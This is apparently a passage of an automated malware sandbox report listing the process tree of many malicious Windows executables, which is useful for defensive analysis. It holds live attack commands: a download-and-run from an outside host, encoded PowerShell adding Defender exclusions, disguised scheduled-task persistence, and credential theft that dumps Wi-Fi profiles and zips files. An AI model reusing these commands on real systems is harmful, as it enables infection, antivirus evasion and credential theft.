        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Macromedia\ser.bat" "
        5⤵
        
        PID:12236
      - C:\Windows\SysWOW64\chcp.com
        
        CHCP 1251
        6⤵
        
        PID:7420
      - C:\Windows\SysWOW64\PING.EXE
        
        ping 127.0.0.1 -n 1
        6⤵
        Runs ping.exe
        
        PID:10212
      - C:\Users\Admin\AppData\Roaming\Macromedia\wmild.exe
        
        wmild.exe -c http://duserifram.toshibanetcam.com/app.exe
        6⤵
        
        PID:11716
  - - C:\Windows\SysWOW64\PING.EXE
      ping 127.0.0.1 -n 3
      4⤵
      Runs ping.exe
      PID:8156
  - - C:\Windows\SysWOW64\explorer.exe
      explorer.exe C:\Users\Admin\AppData\Roaming\Macromedia
      4⤵
      PID:6416
- C:\Users\Admin\AppData\Local\Temp\Files\288c47bbc1871b439df19ff4df68f000766.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\288c47bbc1871b439df19ff4df68f000766.exe"
  2⤵
  PID:11788
- - C:\Users\Admin\AppData\Local\Temp\ISetup4.exe
    "C:\Users\Admin\AppData\Local\Temp\ISetup4.exe"
    3⤵
    PID:10760
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 10760 -s 676
      4⤵
      Program crash
      PID:11656
- - C:\Users\Admin\AppData\Local\Temp\288c47bbc1871b439df19ff4df68f076.exe
    "C:\Users\Admin\AppData\Local\Temp\288c47bbc1871b439df19ff4df68f076.exe"
    3⤵
    PID:8968
- C:\Users\Admin\AppData\Local\Temp\Files\PH32.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\PH32.exe"
  2⤵
  PID:6552
- C:\Users\Admin\AppData\Local\Temp\Files\cryptography_module_windows.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\cryptography_module_windows.exe"
  2⤵
  PID:3388
- - C:\Users\Admin\AppData\Local\Temp\Files\cryptography_module_windows.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\cryptography_module_windows.exe"
    3⤵
    PID:15372
- C:\Users\Admin\AppData\Local\Temp\Files\Client-built.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\Client-built.exe"
  2⤵
  PID:12996
- - C:\Windows\SYSTEM32\schtasks.exe
    "schtasks" /create /tn "Windows System" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\SubDir\Client.exe" /rl HIGHEST /f
    3⤵
    - Creates scheduled task(s)
    PID:5240
- C:\Users\Admin\AppData\Local\Temp\Files\NBYS%20ASM.NET.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\NBYS%20ASM.NET.exe"
  2⤵
  PID:10524
- C:\Users\Admin\AppData\Local\Temp\Files\ma.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\ma.exe"
  2⤵
  PID:5944
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmp3CE4.tmp.bat""
    3⤵
    PID:8520
  - - C:\Windows\system32\timeout.exe
      timeout 3
      4⤵
      Delays execution with timeout.exe
      PID:13548
  - - C:\ProgramData\SystemPropertiesDataExecutionPrevention\.exe
      "C:\ProgramData\SystemPropertiesDataExecutionPrevention\.exe"
      4⤵
      PID:7636
    - - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc MINUTE /mo 3 /RL HIGHEST /tn "ERGVRDVMSK" /tr "C:\ProgramData\SystemPropertiesDataExecutionPrevention\.exe"
        5⤵
        
        PID:10896
      - C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc MINUTE /mo 3 /RL HIGHEST /tn "ERGVRDVMSK" /tr "C:\ProgramData\SystemPropertiesDataExecutionPrevention\.exe"
        6⤵
        Creates scheduled task(s)
        
        PID:10596
- C:\Users\Admin\AppData\Local\Temp\Files\lomik.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\lomik.exe"
  2⤵
  PID:14300
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /f /RU "Admin" /tr "C:\ProgramData\MPGPH131\MPGPH131.exe" /tn "MPGPH131 HR" /sc HOURLY /rl HIGHEST
    3⤵
    - Creates scheduled task(s)
    PID:14864
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /f /RU "Admin" /tr "C:\ProgramData\MPGPH131\MPGPH131.exe" /tn "MPGPH131 LG" /sc ONLOGON /rl HIGHEST
    3⤵
    - Creates scheduled task(s)
    PID:8664
- C:\Users\Admin\AppData\Local\Temp\Files\procexp64.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\procexp64.exe"
  2⤵
  PID:8784
- C:\Users\Admin\AppData\Local\Temp\Files\libcef.sfx.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\libcef.sfx.exe"
  2⤵
  PID:6836
- - C:\Users\Public\Documents\libcef.exe
    "C:\Users\Public\Documents\libcef.exe"
    3⤵
    PID:7960
- C:\Users\Admin\AppData\Local\Temp\Files\keepvid-pro_full2578.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\keepvid-pro_full2578.exe"
  2⤵
  PID:8240
- - C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
    C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
    3⤵
    PID:11540
- C:\Users\Admin\AppData\Local\Temp\Files\v2.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\v2.exe"
  2⤵
  PID:14568
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
    C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
    3⤵
    PID:13920
- C:\Users\Admin\AppData\Local\Temp\Files\%E7%A6%81%E6%AD%A2%E6%B3%A8%E9%94%[email protected]
  "C:\Users\Admin\AppData\Local\Temp\Files\%E7%A6%81%E6%AD%A2%E6%B3%A8%E9%94%[email protected]"
  2⤵
  PID:9672
- C:\Users\Admin\AppData\Local\Temp\Files\svchost.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\svchost.exe"
  2⤵
  PID:14304
- C:\Users\Admin\AppData\Roaming\msdt\VCDDaemon.exe
  C:\Users\Admin\AppData\Roaming\msdt\VCDDaemon.exe
  2⤵
  PID:2408
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\SysWOW64\cmd.exe
    3⤵
    PID:10008
- C:\Users\Admin\AppData\Local\Temp\Files\test.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\test.exe"
  2⤵
  PID:8196
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAZQBzACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGoAcQBoACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGYAZwBmACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAHkAaABlACMAPgA="
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:14016
- - C:\Users\Admin\AppData\Roaming\Miner.exe
    "C:\Users\Admin\AppData\Roaming\Miner.exe"
    3⤵
    PID:13364
  - - C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
      C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:15660
- - C:\Users\Admin\AppData\Roaming\Shortcutter.exe
    "C:\Users\Admin\AppData\Roaming\Shortcutter.exe"
    3⤵
    PID:15956

C:\Windows\xchlyg.exe
C:\Windows\xchlyg.exe
1⤵
- Executes dropped EXE
- Checks processor information in registry
PID:1592

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 3660 -ip 3660
1⤵
PID:1248

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile -enc QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABMAG8AYwBhAGwALABDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcADsAIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAHIAbwBjAGUAcwBzACAAVABhAGcAcwAuAGUAeABlADsA
1⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1884

C:\Users\Admin\AppData\Local\Remaining\fbseluxm\Tags.exe
C:\Users\Admin\AppData\Local\Remaining\fbseluxm\Tags.exe
1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2980
- C:\Users\Admin\AppData\Local\Remaining\fbseluxm\Tags.exe
  "C:\Users\Admin\AppData\Local\Remaining\fbseluxm\Tags.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1924
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
    C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
    3⤵
    - Suspicious use of SetThreadContext
    - Suspicious use of AdjustPrivilegeToken
    PID:3840
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:1768

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile -enc QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABMAG8AYwBhAGwALABDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcADsAIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAHIAbwBjAGUAcwBzACAAVABhAGcAcwAuAGUAeABlADsA
1⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3180

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 452 -p 3084 -ip 3084
1⤵
PID:2184

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 524 -p 3084 -ip 3084
1⤵
PID:1012

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 448 -p 3084 -ip 3084
1⤵
PID:1204

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 416 -p 3084 -ip 3084
1⤵
PID:1256

C:\Users\Admin\AppData\Roaming\Microsoft\config\runtime.exe
C:\Users\Admin\AppData\Roaming\Microsoft\config\runtime.exe
1⤵
- Executes dropped EXE
PID:464

C:\Users\Admin\AppData\Local\Microsoft\config\runtime.exe
C:\Users\Admin\AppData\Local\Microsoft\config\runtime.exe
1⤵
- Executes dropped EXE
PID:4716

C:\Users\Admin\AppData\Local\Temp\Microsoft\config\runtime.exe
C:\Users\Admin\AppData\Local\Temp\Microsoft\config\runtime.exe
1⤵
- Executes dropped EXE
PID:5044

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 400 -p 3084 -ip 3084
1⤵
PID:2112

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 400 -p 3084 -ip 3084
1⤵
PID:3864

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 380 -p 2816 -ip 2816
1⤵
PID:1148

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 452 -p 3084 -ip 3084
1⤵
PID:4920

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 356 -p 2816 -ip 2816
1⤵
PID:4580

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 528 -p 3084 -ip 3084
1⤵
PID:3992

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 544 -p 3084 -ip 3084
1⤵
PID:2976

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 448 -p 3084 -ip 3084
1⤵
PID:3572

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 356 -p 3992 -ip 3992
1⤵
PID:2784

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 452 -p 3084 -ip 3084
1⤵
PID:1336

C:\Users\Admin\AppData\Local\Temp\154561dcbf\Dctooux.exe
C:\Users\Admin\AppData\Local\Temp\154561dcbf\Dctooux.exe
1⤵
- Executes dropped EXE
PID:1368
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 1368 -s 560
  2⤵
  - Program crash
  PID:4588
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 1368 -s 568
  2⤵
  - Program crash
  PID:2788
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 1368 -s 572
  2⤵
  - Program crash
  PID:1180
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 1368 -s 572
  2⤵
  - Program crash
  PID:1684
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 1368 -s 572
  2⤵
  - Program crash
  PID:3016
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 1368 -s 816
  2⤵
  - Program crash
  PID:4792
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 1368 -s 844
  2⤵
  - Program crash
  PID:384
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 1368 -s 580
  2⤵
  - Program crash
  PID:3620
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 1368 -s 932
  2⤵
  - Program crash
  PID:4008
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 1368 -s 1088
  2⤵
  - Program crash
  PID:4944
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 1368 -s 1088
  2⤵
  - Program crash
  PID:4668
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 1368 -s 1344
  2⤵
  - Program crash
  PID:760
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 1368 -s 1396
  2⤵
  - Program crash
  PID:4620
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 1368 -s 1616
  2⤵
  - Program crash
  PID:1500
- C:\Windows\SysWOW64\rundll32.exe
  "C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\810b84e2bfa3a9\cred64.dll, Main
  2⤵
  - Loads dropped DLL
  PID:3668
- - C:\Windows\system32\rundll32.exe
    "C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\810b84e2bfa3a9\cred64.dll, Main
    3⤵
    - Blocklisted process makes network request
    - Loads dropped DLL
    - Suspicious behavior: EnumeratesProcesses
    PID:3620
  - - C:\Windows\system32\netsh.exe
      netsh wlan show profiles
      4⤵
      PID:2632
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command Compress-Archive -Path 'C:\Users\Admin\AppData\Local\Temp\_Files_\' -DestinationPath 'C:\Users\Admin\AppData\Local\Temp\551177587377_Desktop.zip' -CompressionLevel Optimal
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1292
- C:\Windows\SysWOW64\rundll32.exe
  "C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\810b84e2bfa3a9\clip64.dll, Main
  2⤵
  - Blocklisted process makes network request
  - Loads dropped DLL
  PID:2960
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 1368 -s 1380
  2⤵
  - Program crash
  PID:200
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 1368 -s 1608
  2⤵
  - Program crash
  PID:244
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 1368 -s 1308
  2⤵
  - Program crash
  PID:10256
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 1368 -s 1340
  2⤵
  - Program crash
  PID:5972
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 1368 -s 1336
  2⤵
  - Program crash
  PID:9440
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 1368 -s 1608
  2⤵
  - Program crash
  PID:11100
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 1368 -s 1784
  2⤵
  - Program crash
  PID:1924
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 1368 -s 1820
  2⤵
  - Program crash
  PID:8104
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 1368 -s 832
  2⤵
  - Program crash
  PID:5396
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 1368 -s 1748
  2⤵
  - Program crash
  PID:5968
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 1368 -s 1292
  2⤵
  - Program crash
  PID:6212
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 1368 -s 1404
  2⤵
  - Program crash
  PID:11832
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 1368 -s 1140
  2⤵
  - Program crash
  PID:9176
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 1368 -s 1640
  2⤵
  - Program crash
  PID:12120

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 540 -p 4640 -ip 4640
1⤵
PID:1832

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 1368 -ip 1368
1⤵
PID:2956

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 576 -p 1368 -ip 1368
1⤵
PID:3628

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 380 -p 1368 -ip 1368
1⤵
PID:1756

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 568 -p 1368 -ip 1368
1⤵
PID:4544

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 400 -p 1368 -ip 1368
1⤵
PID:2028

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 516 -p 1368 -ip 1368
1⤵
PID:2320

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 488 -p 1368 -ip 1368
1⤵
PID:1508

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 452 -p 1368 -ip 1368
1⤵
PID:3680

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 404 -p 1368 -ip 1368
1⤵
PID:4136

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 488 -p 1368 -ip 1368
1⤵
PID:1816

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 564 -p 1368 -ip 1368
1⤵
PID:2880

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 404 -p 1368 -ip 1368
1⤵
PID:2556

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 524 -p 1368 -ip 1368
1⤵
PID:2648

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 568 -p 1368 -ip 1368
1⤵
PID:3380

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 416 -p 1368 -ip 1368
1⤵
PID:1508

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 436 -p 3204 -ip 3204
1⤵
PID:3292

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 568 -p 1368 -ip 1368
1⤵
PID:2200

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "fontdrvhostf" /sc MINUTE /mo 5 /tr "'C:\Recovery\WindowsRE\fontdrvhost.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:3832

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "fontdrvhost" /sc ONLOGON /tr "'C:\Recovery\WindowsRE\fontdrvhost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:3184

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "fontdrvhostf" /sc MINUTE /mo 8 /tr "'C:\Recovery\WindowsRE\fontdrvhost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:1252

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "sysmons" /sc MINUTE /mo 5 /tr "'C:\Program Files\Uninstall Information\sysmon.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:2972

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "sysmon" /sc ONLOGON /tr "'C:\Program Files\Uninstall Information\sysmon.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:4340

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "sysmons" /sc MINUTE /mo 7 /tr "'C:\Program Files\Uninstall Information\sysmon.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:1388

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "runtimer" /sc MINUTE /mo 13 /tr "'C:\Windows\Offline Web Pages\runtime.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:2448

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "runtime" /sc ONLOGON /tr "'C:\Windows\Offline Web Pages\runtime.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:2408

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "runtimer" /sc MINUTE /mo 6 /tr "'C:\Windows\Offline Web Pages\runtime.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:2420

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "SppExtComObjS" /sc MINUTE /mo 8 /tr "'C:\Program Files\dotnet\shared\Microsoft.WindowsDesktop.App\SppExtComObj.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:1852

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "SppExtComObj" /sc ONLOGON /tr "'C:\Program Files\dotnet\shared\Microsoft.WindowsDesktop.App\SppExtComObj.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:912

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "SppExtComObjS" /sc MINUTE /mo 8 /tr "'C:\Program Files\dotnet\shared\Microsoft.WindowsDesktop.App\SppExtComObj.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:1596

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "conhostc" /sc MINUTE /mo 8 /tr "'C:\Program Files\Reference Assemblies\Microsoft\conhost.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:3748

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "conhost" /sc ONLOGON /tr "'C:\Program Files\Reference Assemblies\Microsoft\conhost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:1680

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "conhostc" /sc MINUTE /mo 5 /tr "'C:\Program Files\Reference Assemblies\Microsoft\conhost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:3152

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "DctoouxD" /sc MINUTE /mo 5 /tr "'C:\Program Files (x86)\Reference Assemblies\Microsoft\Dctooux.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:2988

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "Dctooux" /sc ONLOGON /tr "'C:\Program Files (x86)\Reference Assemblies\Microsoft\Dctooux.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:2700

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "DctoouxD" /sc MINUTE /mo 9 /tr "'C:\Program Files (x86)\Reference Assemblies\Microsoft\Dctooux.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:1848

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "rundll32r" /sc MINUTE /mo 5 /tr "'C:\Program Files\Java\jre-1.8\legal\javafx\rundll32.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:1560

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "rundll32" /sc ONLOGON /tr "'C:\Program Files\Java\jre-1.8\legal\javafx\rundll32.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:4572

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "rundll32r" /sc MINUTE /mo 10 /tr "'C:\Program Files\Java\jre-1.8\legal\javafx\rundll32.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:1052

C:\Windows\SysWOW64\DllHost.exe
C:\Windows\SysWOW64\DllHost.exe /Processid:{3AD05575-8857-4850-9277-11B85BDB8E09}
1⤵
- Drops startup file
PID:3456

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 552 -p 1368 -ip 1368
1⤵
PID:14056

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 520 -p 1368 -ip 1368
1⤵
PID:10080

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 552 -p 1368 -ip 1368
1⤵
PID:5180

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 436 -p 1368 -ip 1368
1⤵
PID:7480

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 416 -p 1368 -ip 1368
1⤵
PID:9028

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 404 -p 1368 -ip 1368
1⤵
PID:5532

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 524 -p 1368 -ip 1368
1⤵
PID:2548

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 504 -p 13148 -ip 13148
1⤵
PID:9240

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 488 -p 1368 -ip 1368
1⤵
PID:14108

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 400 -p 1368 -ip 1368
1⤵
PID:13180

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 564 -p 1368 -ip 1368
1⤵
PID:14828

C:\Windows\SysWOW64\WerFault.exe
